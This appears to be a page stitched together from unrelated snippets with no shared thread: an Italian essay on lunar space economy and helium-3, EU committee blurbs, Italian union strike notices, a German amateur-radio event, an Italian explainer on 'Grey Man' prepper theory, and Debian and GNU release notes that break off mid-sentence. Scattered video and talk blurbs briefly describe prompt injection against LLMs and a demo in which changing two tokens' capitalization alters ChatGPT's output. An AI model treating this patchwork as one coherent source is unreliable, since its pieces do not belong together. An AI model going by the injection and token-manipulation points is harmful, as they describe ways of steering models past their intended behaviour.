È da questo assunto che bisognerebbe partire quando si parla di space economy. Non dalle cifre vertiginose con cui si calcola il presunto valore di un corpo celeste, moltiplicando la quantità stimata di platino, nichel o cobalto per il prezzo corrente sulla Terra. Quella è la versione patinata, roba da prospetto per investitori. E in quanto tale occulta un fatto banalissimo: nessuna risorsa “naturale” è vera ricchezza finché non esiste una filiera in grado di estrarla e trasportarla. Il petrolio sotto un fondale oceanico non vale nulla senza piattaforme, porti e oleodotti. Parafrasando un vecchio spot di Pirelli: una risorsa è nulla senza infrastrutture.
Lo stesso varrà per qualunque futura attività estrattiva nello spazio. L’errore è immaginare l’estrazione come l’inizio della storia. La miniera in realtà arriva per ultima. Prima di lei c’è la mappa (anche se non più cartacea bensì digitale, e non più solo terrestre, ma extra-planetaria). Poi c’è il porto (o perlomeno un luogo dove immagazzinare e ridistribuire le risorse). E infine ci sono le norme e i rapporti di potere che regolano il possesso dei territori, la percorribilità delle rotte, la sicurezza dei trasporti. Prima ancora di estrarre valore, bisogna costruire, e rendere “sicuro”, il mondo che rende tale valore estraibile (ovvero trasportabile e quindi commerciabile).
I primi commerci spaziali
Le compagnie privilegiate dell’epoca coloniale lo avevano capito molto bene. La Compagnia britannica delle Indie orientali (EIC), la Compagnia olandese delle Indie orientali (VOC) e le altre grandi entità commerciali del Sei/Settecento non erano semplici imprese, ma operatori politici-logistici-amministrativi che agivano per conto di Stati che subappaltavano loro le operazioni necessarie allo sfruttamento del commercio oceanico. Per questo tanto la EIC quanto la VOC avevano facoltà di dotarsi di milizie, di esercitare poteri politici e giuridici, di costruire flotte, porti e depositi, di amministrare e pattugliare i mari. Il loro potere non stava tanto nelle risorse/merci che trasportavano, ma nelle rotte che controllavano.
La possibile economia spaziale del XXI secolo potrebbe assomigliare a quel modello più di quanto i suoi promotori siano disposti ad ammettere. Non avrà velieri, governatori coloniali e fortini tropicali, ma vettori riutilizzabili, lander commerciali e basi lunari. È un’economia che dipenderà, in ogni caso, da una commistione molto profonda tra imprese private e poteri statali.
Il modello è del resto già operativo nel contesto di Artemis. Il programma Commercial Lunar Payload Services (CPLS) della NASA, per esempio, non costruisce direttamente tutti i mezzi per arrivare sulla Luna, ma compra “servizi” da aziende private. I contratti CLPS hanno un valore massimo complessivo di 2,6 miliardi di dollari fino al 2028 e prevedono consegne commerciali sulla superficie lunare, dal compattamento dei carichi alla gestione della missione. Tra i nomi coinvolti ci sono Intuitive Machines, Astrobotic, Firefly Aerospace, Blue Origin (quella di Jeff Bezos), Draper e altri fornitori. È una logica da appalto di frontiera: lo Stato apre il mercato, paga i primi rischi, crea domanda, legittima gli operatori.
La prima base lunare permanente, se e quando arriverà, non sarà quindi una città sotto una cupola trasparente. Sarà un porto. Un nodo logistico per questi vettori di consegne.
Le prime commesse difficilmente saranno spettacolari. Non riguarderanno l’estrazione di metalli rari né l’apertura di miniere capaci di cambiare da sole le dimensioni dell’economia globale. Riguarderanno invece questioni meno appariscenti: trasportare strumenti, garantire comunicazioni, misurare il suolo e altre variabili ambientali per capire dove una base può sopravvivere più a lungo.
Le risorse lunari più importanti, almeno all’inizio, non saranno quelle vendibili sulla Terra, ma quelle più utili nello spazio. L’acqua ghiacciata che potrebbe trovarsi nei crateri permanentemente in ombra delle regioni polari non è preziosa perché qualcuno pensa di imbottigliarla e riportarla a casa. È preziosa perché nello spazio l’acqua è vita, ossigeno, carburante, massa da non dover lanciare dalla Terra. Separata in idrogeno e ossigeno, può diventare propellente. Usata localmente, può sostenere una base. Accumulata in depositi, può trasformare la Luna in un polo logistico per progetti più ambiziosi, anche (se non soprattutto) di tipo estrattivo.
Obiettivo: elio-3
Il premio più ambito potrebbe rivelarsi il mitologico elio-3 che, oltre agli utilizzi nell’ambito del quantum computing, da decenni viene evocato come elemento cardine di una futura fusione nucleare meno pericolosa e più efficiente. Nel corso di miliardi di anni, il vento solare ne ha depositate grandi qualità sulla regolite lunare, alimentando l’idea che il nostro satellite possa diventare una sorta di “bacino” extraterrestre: una riserva energetica sospesa sopra le nostre teste, pronta a ridisegnare gli equilibri energetici della Terra.
Un nome che torna spesso in questa storia è quello di Harrison “Jack” Schmitt, geologo, astronauta dell’Apollo 17 e ultimo uomo ad aver camminato sulla Luna insieme a Eugene Cernan. Schmitt è da decenni uno dei più convinti sostenitori dell’idea che l’elio-3 lunare possa alimentare una futura economia della fusione. Più recentemente è entrato per questo nell’orbita di Interlune, una startup americana fondata da ex pezzi grossi di Blue Origin che promette di raccogliere elio-3 lunare e riportarlo sulla Terra.
Proprio l’elio-3 mostra tuttavia quanto la space economy sia costruita su promesse che funzionano politicamente prima che industrialmente. Oggi non esiste un’economia della fusione basata sull’elio-3 (lunare o meno). E tantomeno esiste una filiera in grado di estrarlo, separarlo, immagazzinarlo, trasportarlo e usarlo sulle scale necessarie ad avere un impatto. Per recuperarlo bisognerebbe trattare quantità enormi di suolo lunare (più di ogni altra attività estrattiva terrestre a noi nota), riscaldarle, separare isotopi presenti in concentrazioni ridottissime e infine organizzare una catena di trasporto e utilizzo tutta da inventare.
Eppure l’importanza dell’elio-3 non va liquidata. Non perché sia già il petrolio del futuro, ma perché può svolgere la stessa funzione immaginativa che “i fiumi d’oro”, le spezie o il petrolio hanno svolto in altre epoche. Ogni espansione ha infatti avuto bisogno di un proprio Eldorado: una risorsa capace di giustificare costi e rischi enormi per essere raggiunta. L’elio-3 potrebbe essere questo tipo di risorsa: il mito che la rende possibile la colonizzazione lunare.
Colonizzare la Luna
Le frontiere, d’altra parte, non devono essere redditizie da subito. Devono essere credibili a sufficienza da attrarre Stati, capitali e apparati tecno-industriali. Molte infrastrutture coloniali sono state costruite prima che i profitti fossero certi. Le ferrovie tracciate nell’Ottocento verso l’interno del territorio americano non servivano a connettere comunità esistenti, ma a preparare un’economia futura. Una volta costruita la ferrovia, una nuova economia si organizzava attorno a essa. Una volta creato il porto, i flussi venivano orientati verso di esso. Una volta fondata una base lunare…
Il diritto internazionale, almeno in teoria, dovrebbe impedire una corsa coloniale vecchio stile (predatoria, violenta, conflittuale). Il Trattato sullo spazio extra-atmosferico vieta agli Stati di appropriarsi della Luna o di altri corpi celesti. Nessun Paese può dichiarare proprio un cratere lunare o un asteroide. Ma il punto è che il controllo non coincide sempre con la sovranità formale. Si può non possedere un territorio e controllarne comunque l’accesso (come ha dimostrato di recente la vicenda di Hormuz).
La geografia lunare, che immaginiamo come uno spazio vuoto e uniforme, è del resto piena di colli di bottiglia. Non tutti i luoghi hanno lo stesso valore. Alcune zone ricevono più luce e permettono una produzione energetica più stabile. Alcuni crateri potrebbero contenere più ghiaccio. Alcune aree sono più adatte alle comunicazioni. Come sulla Terra, la frontiera lunare si potrebbe rapidamente restringere attorno a pochi snodi strategici.
Ed è negli snodi che spesso risiedono tanto il potere quanto il potenziale per il suo abuso. La distopia più probabile non è uno Stato che pianta la propria bandiera e proclama la nascita di un impero lunare. È più banale e contemporanea: per esempio, una singola compagnia che gestisce (quasi) tutti i trasporti. Uno scenario in cui non è necessario possedere formalmente la Luna per possedere di fatto la Luna.
Un esempio concreto, e recente, di questo rischio è il contratto assegnato dalla NASA a Intuitive Machines nel 2024 per servizi di comunicazione e navigazione lunare: fino a 4,82 miliardi di dollari per costruire capacità di trasmissione di dati a supporto del programma Artemis. Non è una miniera né un atto di sovranità su un territorio. È però esattamente il tipo di infrastruttura da cui, domani, potrebbero dipendere tutti.
Anche in questo le future compagnie dello spazio potrebbero ricalcare il modus operandi delle compagnie privilegiate dell’epoca coloniale. Non perché avranno formalmente il diritto di governare territori, come facevano la VOC o la EIC, ma perché riceveranno dagli Stati capitali e legittimazione in cambio dei loro servizi e del know-how relativo. Lo spazio sarà dichiarato “pubblico” quando bisognerà pagare il costo della frontiera e “privato” quando sarà il momento di incassarne i profitti.
Questo intreccio è già visibile nella nuova economia spaziale: lanciatori privati finanziati da contratti pubblici, infrastrutture satellitari essenziali per scopi militari, aziende che diventano attori geopolitici in grado di influenzare conflitti, dipendenze tecnologiche che condizionano intere politiche statali. Portare tutto questo sulla Luna significa amplificarlo in un ambiente dove non esiste società civile locale, non esiste opinione pubblica residente, non esistono istituzioni proprie e ogni accesso passa attraverso sistemi tecnici estremamente costosi e complessi, che rendono le eventuali dipendenze ancora più profonde e difficili da scardinare.
La Luna, insomma, non è l’India, l’Africa o le Americhe dell’età moderna. Non ci sono popolazioni lunari da conquistare o schiavizzare, convertire o sterminare. Equiparare direttamente le due cose sarebbe moralmente osceno. Tuttavia alcune strutture del colonialismo possono ripresentarsi anche senza popolazioni indigene. La Luna è infatti vuota di abitanti ma non priva di significati. È un archivio geologico, un ambiente scientificamente prezioso, un oggetto culturale da sempre condiviso, potenzialmente una piattaforma astronomica per la proiezione spaziale della specie umana. Ridurla a bacino di risorse significa scegliere, in partenza, un modello di relazione tra un soggetto agente e un oggetto passivo.
L’argomento ambientale, infine, rende tutto ancora più ambiguo. Una delle promesse della space economy è che, spostando fuori dalla Terra una parte dell’estrazione, potremmo ridurre la pressione sugli ecosistemi terrestri. Ma questa promessa rischia di diventare l’ultima assoluzione dell’estrattivismo. Non cambiamo modello di consumo ma ne allarghiamo il raggio. Non mettiamo in discussione il processo di sviluppo. Al contrario: lo dotiamo di un’estensione cosmica.
Esplorazione della domanda filosofica se il pensiero possa essere meccanizzato, partendo da La Mettrie e il suo libro L'uomo macchina, dove sostiene che il cervello ha muscoli per pensare come le gambe hanno muscoli per camminare. Si contrappone questo al dualismo cartesiano di Cartesio, che separava anima e corpo.
The draft law aims to respond to the new security environment shaped by Russia's war of aggression against Ukraine, where fast and low-cost defence innovation cycles are critical. Committee on Industry, Research and Energy Committee on Security and Defence
Attivazione procedura di raffreddamento ai sensi dell'art.2 comma 2 L. 146/1990 e L. 83/2000 e s.m.i. contro le società Toscana Aeroport i SpA, GH Toscana Srl e Consulta SpA negli aeroport i di Pisa e Firenze.
La scrivente o.s. registra il fallimento delle relazioni industriali con il gestore aeroportuale Toscana Aeroporti e con le aziende di handling Gh Toscana e Consulta.
Per quanto riguarda il gestore Toscana Aeroporti, si rileva il fallimento delle relazioni industriali a proposito di:
Mancata supervisione, controllo e coordinamento delle attività di handling;
Inadeguata capacità di pronto intervento rispetto a situazioni emergenziali;
Mancati interventi per il miglioramento delle infrastrutture — in particolare si segnalano gravi carenze nelle aree Airside di Firenze e Pisa (p.es.: assenza di misure per il contrasto al microclima caldo nelle aree di stazionamento di entrambi gli aeroporti), inidoneità dei varchi sicurezza e delle aree imbarchi di Pisa, nonché insufficienza degli spazi concessi agli handlers Consulta e GH Toscana.
Per quanto riguarda le società di handling Consulta e GH Toscana, si rileva il fallimento delle relazioni industriali a proposito di:
Condizioni di lavoro carenti con possibili ricadute su Salute e Sicurezza di lavoratori e lavoratrici;
Scarsi investimenti sulla formazione del personale;
Livelli occupazionali insufficienti e eccessivo utilizzo del part-time rispetto alla costante crescita del traffico che transita dal sistema aeroportuale toscano;
Carenze di mezzi e lacune nell’organizzazione del lavoro.
Per quanto concerne la società Consulta, inoltre, la scrivente segnala il mancato rispetto del CCNL in materia di orario di lavoro e mancato rispetto della normativa sul part-time.
Si rileva infine l’assenza di correttezza delle relazioni sindacali da parte di GH Toscana che non ha dato comunicazione alle oo.ss. sulla decisione del vettore Ryanair di inserire il self bag drop-off all’aeroporto di Pisa, trascurando l’impatto che un tale servizio potrebbe avere sui livelli occupazionali.
Per tutto quanto sopra si dichiara aperta la procedura di raffreddamento ai sensi dell'art 2 comma 2 L. 146/1990, L.83/2000 e s.m.i.
Spiego perché i prompt injection funzionano con gli LLM e come il modello non ha vera empatia ma segue scelte statistiche basate su token. Un token è un segmento di testo convertito in vettore numerico, approssimativamente 0,75 parole in inglese e 0,6 in italiano.
0:00 Prompt injection e LLM
0:18 Token e statistica
Die erste Schweizer Outdoor-Radio Aktivitätswoche lockt vom 24. Juli bis zum 2. August 2026 Funkamateure an die Funkgeräte und in die Alpen – aber nicht nur.
Das Schweizer HBBOTA-Programm ist jung und verlangt nach Aufmerksamkeit. Deswegen schicken die Verantwortlichen die Szene im Sommer in die Festungsbauten des Landes. Das Ziel ist simpel: Jäger und Aktivatoren sollen die Schweizer Bunker in die Logbücher bringen.
WWBOTA
Die Aktion startet international. Vom 24. bis 26. Juli 2026 organisiert WWBOTA das weltweite Bunkerfest. Funkerinnen und Funker aus den europäischen Nachbarländern lauern auf Verbindungen mit den eidgenössischen Anlagen.
Wer hier punkten will, muss die Spielregeln kennen. Für den WWBOTA-Award zählt jeweils nur ein Bunker gleichzeitig. Funkkontakte von Bunker zu Bunker versprechen an diesen drei Tagen eine hohe Erfolgsquote, weil die europäischen Untergruppen koordiniert ausschwärmen.
HBBOTA
Nach dem internationalen Auftakt folgt die nationale Verlängerung. Die Organisatoren dehnen die Aktivitätswoche bewusst über den Nationalfeiertag bis zum 2. August aus. Am eigentlichen HBBOTA-Wochenende vom 1. und 2. August rückt die Kombination verschiedener Diplome in den Fokus der Funkbetriebstechnik.
Sylvia HB9INY verweist auf logistische Highlights: Es existieren Standorte in der Schweiz, an denen Operator mit einer einzigen Antennenkonstruktion gleichzeitig Punkte für SOTA, POTA und BOTA einfahren. Ein Berggipfel, der in einem Naturpark liegt und eine alte Militärfestung beherbergt, macht diese Triple-Aktivierung möglich.
Details auf der Website
Wer die Standorte dieser kombinierten Zonen sucht oder die genauen Award-Bedingungen studieren will, findet die Details auf der BOTA-Webseite. Die Betreiber aktualisieren die Datenlisten und Aktivierungshinweise laufend.
The new measures seek to protect EU organic food production from unfair external competition and increase consumer trust. Committee on Agriculture and Rural Development
Gli strumenti di AI per lo sviluppo software promettono di aumentare la produttività degli sviluppatori, ma una recente analisi indipendente riaccende il dibattito sulla sicurezza dei dati affidati agli assistenti di coding. Al centro della vicenda c’è Grok Build, il tool a riga di comando di xAI, accusato di aver trasmesso (in chiaro) ai server […]
Cos’è realmente la Grey Man Theory, cosa può insegnarci la psicologia dell’attenzione e perché passare inosservati non significa diventare invisibili
Quando si parla di preparazione alle emergenze, l’immaginario collettivo tende spesso ad associare il prepper a un’estetica immediatamente riconoscibile: abbigliamento tattico, zaino dotato di sistema MOLLE, scarponi robusti, numerose tasche, strumenti visibili e un atteggiamento costantemente vigile.
Questo tipo di equipaggiamento può essere perfettamente funzionale in determinati ambienti. In una stazione ferroviaria, in un centro commerciale o durante uno spostamento urbano, però, potrebbe comunicare più informazioni di quanto sia opportuno.
Potrebbe suggerire che una persona è organizzata, preparata o in possesso di attrezzature e risorse utili. In condizioni ordinarie ciò potrebbe essere irrilevante. In uno scenario caratterizzato da tensione, scarsità o disordine, invece, attirare inutilmente l’attenzione potrebbe diventare un fattore di rischio.
Da questa considerazione nasce ciò che nel mondo del prepping, del survival e della sicurezza personale viene comunemente chiamato Grey Man, letteralmente “uomo grigio”.
Il Grey Man, però, non è necessariamente vestito di grigio.
Non è invisibile.
E non è una spia.
Il principio può essere riassunto in modo molto più semplice:
Quando la situazione lo richiede, evitare di diventare inutilmente rilevanti agli occhi degli altri.
In breve
Il Grey Man non cerca necessariamente di non essere visto.
Cerca di non offrire ragioni particolari per essere osservato più attentamente, ricordato o selezionato.
Non esiste un colore, un abbigliamento o uno zaino capace di rendere una persona invisibile. La discrezione dipende dalla relazione tra individuo, comportamento, equipaggiamento e ambiente.
Una strategia pratica, non una teoria scientifica
L’espressione Grey Man Theory è molto diffusa negli ambienti prepper e survival, ma non indica una teoria scientifica formalizzata con una definizione accademica condivisa.
Non risulta inoltre prudente attribuirle un’unica origine militare, di intelligence o storica senza disporre di fonti primarie sufficientemente solide.
È più corretto considerarla una strategia pratica composta da principi provenienti da ambiti differenti, tra cui:
Un suggerimento nato dall’esperienza può essere ragionevole senza rappresentare una legge scientifica. Allo stesso modo, uno studio di psicologia non deve essere utilizzato per dimostrare qualcosa che non ha esaminato direttamente.
Vedere non significa necessariamente notare
Ogni giorno siamo esposti a una quantità enorme di informazioni: volti, movimenti, suoni, veicoli, colori, cartelli, oggetti e conversazioni.
Il cervello non elabora tutto con la stessa profondità. L’attenzione seleziona una parte delle informazioni disponibili, privilegiando ciò che appare pertinente rispetto al compito che stiamo svolgendo, ai nostri obiettivi e alle nostre aspettative.
Uno dei fenomeni più conosciuti in questo ambito è la cecità da disattenzione, o inattentional blindness.
Nel celebre studio pubblicato nel 1999 da Daniel Simons e Christopher Chabris, i partecipanti dovevano osservare un filmato e contare i passaggi effettuati da alcuni giocatori. Durante la scena compariva un evento inatteso e molto evidente, che una parte consistente degli osservatori non riferiva di aver notato. Lo studio è diventato noto attraverso il cosiddetto esperimento del “gorilla invisibile”. L’esperimento non dimostra la Grey Man Theory e non prova che una persona possa rendersi volontariamente invisibile.
Dimostra qualcosa di diverso:
Essere presenti nel campo visivo di qualcuno non significa necessariamente diventare il centro della sua attenzione.
Il lavoro di Arien Mack e Irvin Rock sulla cecità da disattenzione ha contribuito a mostrare quanto la percezione cosciente dipenda dall’attenzione dedicata agli stimoli presenti.
Essere visibili, essere notati ed essere ricordati non sono necessariamente la stessa cosa.
L’attenzione non è un interruttore
Sarebbe però sbagliato concludere che sia sufficiente confondersi con lo sfondo per non essere notati.
Ciò che richiama l’attenzione dipende da molti fattori:
ciò che una persona sta cercando;
ciò che si aspetta di vedere;
il compito che sta svolgendo;
le caratteristiche dello stimolo;
la posizione rispetto al punto osservato;
l’esperienza dell’osservatore;
il contesto complessivo.
Anche la posizione di uno stimolo rispetto al centro dell’attenzione può influire sulla probabilità che venga rilevato. Grey Man non può essere ridotto a una formula del tipo:
Colori neutri uguale invisibilità.
Il colore è soltanto una variabile. Possono essere altrettanto importanti:
la forma dello zaino;
la postura;
il modo di camminare;
la velocità dei movimenti;
la direzione dello sguardo;
il tono della voce;
gli oggetti trasportati;
la coerenza complessiva con il luogo.
La domanda corretta non è quindi:
“Quale colore mi rende meno visibile?”
La domanda più utile è:
“Che cosa, in questo specifico ambiente, potrebbe rendermi insolitamente interessante?”
La normalità è contestuale
Non esiste un abbigliamento Grey Man valido ovunque.
Una persona con scarponi, pantaloni tecnici e zaino da escursionismo può essere assolutamente ordinaria all’inizio di un sentiero montano.
Lo stesso abbigliamento potrebbe risultare più riconoscibile in un ambiente professionale o durante una serata elegante.
Un completo formale può essere normale in un centro direzionale e insolito durante un’attività di volontariato in una zona alluvionata.
Persino un colore acceso non è sempre incompatibile con la discrezione. Durante una festa o un evento sportivo, presentarsi completamente vestiti di nero, grigio o verde oliva potrebbe rendere una persona più riconoscibile rispetto a chi indossa i colori diffusi tra i partecipanti.
Il concetto fondamentale è quindi quello della normalità contestuale.
Essere Grey Man non significa adottare un’uniforme. Significa capire che ciò che appare normale in un luogo può risultare insolito in un altro.
Errore comune
Pensare che esista un “look Grey Man”.
Pantaloni tecnici, cappellino neutro, occhiali scuri e zaino tattico possono creare un nuovo stereotipo facilmente riconoscibile.
Non invisibili, ma meno rilevanti
Il termine “invisibile” viene spesso utilizzato nella divulgazione sul Grey Man. È efficace dal punto di vista narrativo, ma rischia di essere fuorviante.
Nessuna tecnica può garantire che una persona:
non venga osservata;
non venga ricordata;
non venga riconosciuta;
non venga ripresa da una telecamera;
non richiami l’attenzione di qualcuno.
Il Grey Man deve essere considerato un tentativo di ridurre la rilevanza non necessaria della propria presenza, non una tecnica di invisibilità.
In termini semplici:
Non diventare la cosa più interessante nell’ambiente, quando non esiste una buona ragione per esserlo.
Il Grey Man non è un travestimento
Trasformare la discrezione in una recita può produrre l’effetto opposto.
Un abbigliamento può apparire formalmente coerente, mentre il comportamento racconta qualcosa di completamente diverso.
Una persona può vestirsi come un escursionista, ma muoversi in modo evidentemente inesperto.
Può utilizzare uno zaino urbano, ma proteggerlo ossessivamente come se contenesse qualcosa di eccezionale.
Può cercare di apparire rilassata, controllando però in continuazione ciò che accade alle proprie spalle.
La discrezione efficace non nasce necessariamente dalla costruzione di una falsa identità.
Nasce soprattutto dalla coerenza tra aspetto, comportamento e contesto.
Un’anomalia non è una prova
Un’altra interpretazione problematica del Grey Man consiste nel considerare ogni persona o comportamento insolito come una possibile minaccia.
Questo approccio può generare valutazioni errate, ipervigilanza e reazioni sproporzionate.
Una persona può deviare dalla normalità di un ambiente per numerose ragioni innocue:
non conosce il luogo;
ha una disabilità;
sta cercando qualcuno;
è in ritardo;
ha ricevuto una telefonata importante;
è semplicemente distratta.
La consapevolezza situazionale richiede osservazione e valutazione, non conclusioni immediate.
Principio AIP
Un’anomalia è un’informazione, non una prova.
I limiti del Grey Man
Il Grey Man:
non garantisce anonimato;
non elimina i rischi;
non sostituisce la consapevolezza situazionale;
non rende invisibili alle tecnologie di sorveglianza;
non impedisce a un osservatore attento di notare una persona;
non è adatto a tutte le emergenze.
Durante una ricerca o un soccorso, essere visibili può salvare la vita.
In ambiente naturale, colori facilmente individuabili possono facilitare il ritrovamento.
Durante un incendio, un’alluvione o un incidente, segnalare chiaramente la propria posizione può essere prioritario.
La discrezione è quindi uno strumento situazionale, non una regola universale.
Comprendere prima di applicare
Il valore del Grey Man non consiste nell’insegnare alle persone a nascondersi.
Consiste nel ricordare che comunichiamo continuamente informazioni attraverso:
l’aspetto;
il comportamento;
ciò che trasportiamo;
il modo in cui ci muoviamo;
il modo in cui interagiamo.
Il Grey Man non è un colore.
Non è uno zaino.
Non è una tecnica infallibile.
È, nella sua interpretazione più ragionevole, una forma di adattamento consapevole al contesto.
E per adattarsi a un ambiente, prima bisogna imparare a leggerlo.
Continua lo Speciale AIP
Parte 2 — Grey Man nella pratica: ambiente, comportamento ed equipaggiamento
Nella seconda parte analizzeremo come osservare la linea di base e il flusso di un ambiente, come scegliere equipaggiamento e abbigliamento coerenti e quali comportamenti possono attirare involontariamente l’attenzione.
Nota metodologica
La Grey Man Theory è un concetto divulgativo diffuso soprattutto negli ambienti prepper, survival e della sicurezza personale, non una teoria scientifica formalizzata.
Gli studi sulla cecità da disattenzione vengono citati per illustrare alcuni meccanismi dell’attenzione umana. Non costituiscono una dimostrazione sperimentale dell’efficacia complessiva del Grey Man.
Fonti essenziali
Simons, D. J., & Chabris, C. F. (1999). Gorillas in our midst: Sustained inattentional blindness for dynamic events. Perception, 28(9), 1059–1074. DOI: 10.1068/p281059.
Companies should guarantee that the use of social media and the digital environment is safe, particularly for children and young people, MEPs say. Committee on Culture and Education
L’Istituto Storico della Resistenza e della Società Contemporanea di Livorno rimarrà chiuso al pubblico, in tutti i suoi servizi (archivio, biblioteca, didattica e uffici) dal 14 al 24 agosto compresi.
Auguriamo a tutti buon riposo e vi aspettiamo per le nostre numerose iniziative a partire da settembre!
A demonstration of how changing the capitalization of just two tokens (from lowercase 'low' to uppercase 'Low') completely changes ChatGPT's output selection, causing it to choose different tokens as winners in the model's prediction. This illustrates a potential security concern where minor, non-semantic changes in text can significantly alter the AI's behavior and output.
Cosa nascondeva davvero l'Agenda Rossa di Paolo Borsellino? E quale legame potrebbe esistere con il misterioso carteggio tra Winston Churchill e Benito Mussolini? Due vicende apparentemente lontane che continuano ad alimentare uno dei più grandi misteri della storia italiana.
In questa terza e ultima parte analizziamo la scomparsa dell'Agenda Rossa di Paolo Borsellino dopo la strage di via D'Amelio del 19 luglio 1992 e il presunto carteggio segreto Churchill-Mussolini, da decenni al centro di ipotesi, testimonianze e ricerche storiche. Un viaggio tra documenti scomparsi, depistaggi e interrogativi ancora aperti.
Cosa troverai in questo video:
✔ La scomparsa dell'Agenda Rossa di Paolo Borsellino
✔ I depistaggi e le testimonianze legate alla strage di via D'Amelio
✔ Il mistero del carteggio segreto tra Churchill e Mussolini
✔ Le trattative riservate durante la Seconda Guerra Mondiale
✔ I documenti scomparsi dagli archivi di Stato
✔ Le ipotesi sul possibile ricatto politico legato ai documenti
► Playlist completa della serie:
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Come controllare e guidare il comportamento dei Large Language Model in modo sicuro ed efficace, senza ricorrere a prompt injection? Un approfondimento tecnico su tecniche avanzate e best practice per l'ottimizzazione degli LLM.
Seemposium 2026 - 12 giugno 2026 - Torino:
🎤 Andrea "TheMiddle" Menin - App Sec Manager @ Sicuranext
La dirigenza della società MVN Srl, appalto Nuovo Pignone (Baker Hughes), ha comunicato ai sindacati e alla RSU la decisione unilaterale di “passare” tutti i lavoratori al contratto nazionale Logistica e Trasporto dal 1° settembre. MVN che occupa, nei tre siti di Livorno (Varco Galvani, Collesalvetti e Guasticce) oltre 70 lavoratori, produce imballaggi industriali e attività di magazzino e stoccaggio per conto del colosso americano Baker Hughes. Dall’anno scorso la società è stata acquisita dal gruppo MSC di Aponte. Nel passaggio dal CCNL industria, metalmeccanico e legno, i lavoratori subiranno una perdita secca sia in termini di diritti e condizioni di miglior favore sia, nel lungo periodo, in termini economici. La dirigenza ha comunicato che la retribuzione annuale lorda resterà invariata ma non sarà così. Le organizzazioni sindacali hanno avanzato una serie di proposte per gestire il passaggio garantendo opportuni accorgimenti, sia economici che normativi, ma la dirigenza ha rigettato il tentativo di conciliazione confermando la volontà di mantenere il passaggio alle condizioni iniziali. Per questo, dopo una movimentata assemblea, nei piazzali dell’interporto, i lavoratori hanno votato a maggioranza l’apertura dello stato di agitazione sindacale e un primo pacchetto di scioperi per la prossima settimana. Chiediamo all’azienda di tornare sui propri passi e rimettersi al tavolo. Pur comprendendo le esigenze tecniche alla base di questa scelta, la stessa non si può e non si deve trasformare nell’ennesima occasione di risparmio sulla pelle dei lavoratori. Lavoratori già pesantemente colpiti dalla crisi e da un’inflazione alle stelle. USB sostiene la vertenza dei lavoratori MVN ed è pronta a mobilitare le proprie strutture sindacali in solidarietà.
On 12 July 2026, three years after the initial release, the regular
support for Debian 12, alias bookworm, has come to an end. The
Debian Long Term Support (LTS) Team
is taking over security support from the Security and Release Teams.
- type on big-endian systems
- UTF-8 combining sequences
- buffer overflow in SendCmdMessage()
- detaching fail with empty terminfo and leave the session attached
- eliminates the TOCTOU race
- manpage fixes
Release (official tarball) will be available soon for download:
https://ftp.gn ... rg/gnu/screen/
Please report any bugs or regressions.
Thanks to everyone who contributed to this release.
The Debian project is pleased to announce the fifteenth and final update of its
oldstable distribution Debian 12 (codename bookworm).
This point release mainly adds corrections for security issues,
along with a few adjustments for serious problems. Security advisories
have already been published separately and are referenced where available.
The Debian project is pleased to announce the sixth update of its
stable distribution Debian 13 (codename trixie).
This point release mainly adds corrections for security issues,
along with a few adjustments for serious problems. Security advisories
have already been published separately and are referenced where available.
This is to announce findutils-4.11.0, a stable release.
This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
especially to mention the new behavior of 'find -mount' vs. 'find -xdev',
as well as a lot of documentation improvements.
See the NEWS below for more details.
GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
https://www.gnu.o ... ftware/findutils/
Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
https://lists.gnu ... nfo/bug-findutils
There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
Bernhard Voelker (77) Bjarni Ingi Gislason (1)
Christoph Anton Mitterer (1) Collin Funk (5)
Dave (1) G. Branden Robinson (42)
James Youngman (55) Luk303241305241 Zaoral (1)
danny mcClanahan (1) raf (2)
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
M4 1.4.19
Gnulib v1.0-3131-ga575239e47
Please consider supporting the Free Software Foundation in its fund
raising appeal; see <https://www. ... .org/appeal/>.
Thanks to everyone who has contributed!
Have a nice day,
Bernhard Voelker & James Youngman [on behalf of the GNU findutils maintainers]
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify findutils-4.11.0.tar.xz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
Noteworthy changes in release 4.11.0 (2026-07-11) [stable]
** Bug Fixes
find no longer crashes when diagnosing a directory cycle (without a symlink
being involved pointing to a parent directory).
[Bug present since the FTS implementation.]
'find -used' now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
bug in the C library (already fixed there) when the access time of a file is
identical to its change time. [#68264]
'find -ignore_readdir_race' now better handles races between FTS reading a
directory and visiting its entries when the file or directory was meanwhile
removed. [#45930]
To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
complete predicate, because '+' is only a terminator when it follows
an argument which is exactly '{}'. The findutils documentation
already states this, and now find's behaviour matches the
documentation. [#66365]
'updatedb.sh' now properly handles the variables for the 'find' and 'frcode'
utilities, and hence avoids command injection.
** Changes in find
As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
the behaviour of the -mount option changed: while it was a mere alias for
the -xdev option to prevent descending into directories of another device,
the -mount option now makes find(1) ignore files on another device, i.e.,
'find -mount' will skip the entry of active mount points already.
Example, assuming the PROC filesystem is mounted on '/proc':
$ find / -mount -path /proc -print
$ find / -xdev -path /proc -print
/proc
[#54745]
The actions -execdir and -okdir now refuse the '{}' replacement in the zeroth
argument of the command to be run. While POSIX allows this for -exec, this is
deemed insecure as an attacker could influence which files could be found.
'find -regex' with the default or the 'emacs' regextype now aligns better with
Emacs behaviour, and therefore e.g. supports character classes:
$ touch 123 && find -regex './12[[:digit:]]'
./123
find now issues a warning when the punctuation operators '(', ')', '!' and ','
are passed with a leading dash, e.g. '-!'. Future releases will not accept
that any more. Accepting that was rather a bug "since the beginning".
** Improvements
xargs now gives a better error diagnostic when executing the given command
failed.
** Documentation Changes
The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
also known as The Open Group Base Specifications, Issue 8) has
standardised "find -print0" and "xargs -0". Our documentation now
points this out. Similarly for 'find -iname'.
The code example for "Finding the Shallowest Instance" in the Texinfo manual
and the corresponding one in the EXAMPLES section in the find.1 man page have
been fixed. [#62259]
Translators contributed numerous fixes for issues in the find.1 man page.
The list of actions that suppress the default -print action has been
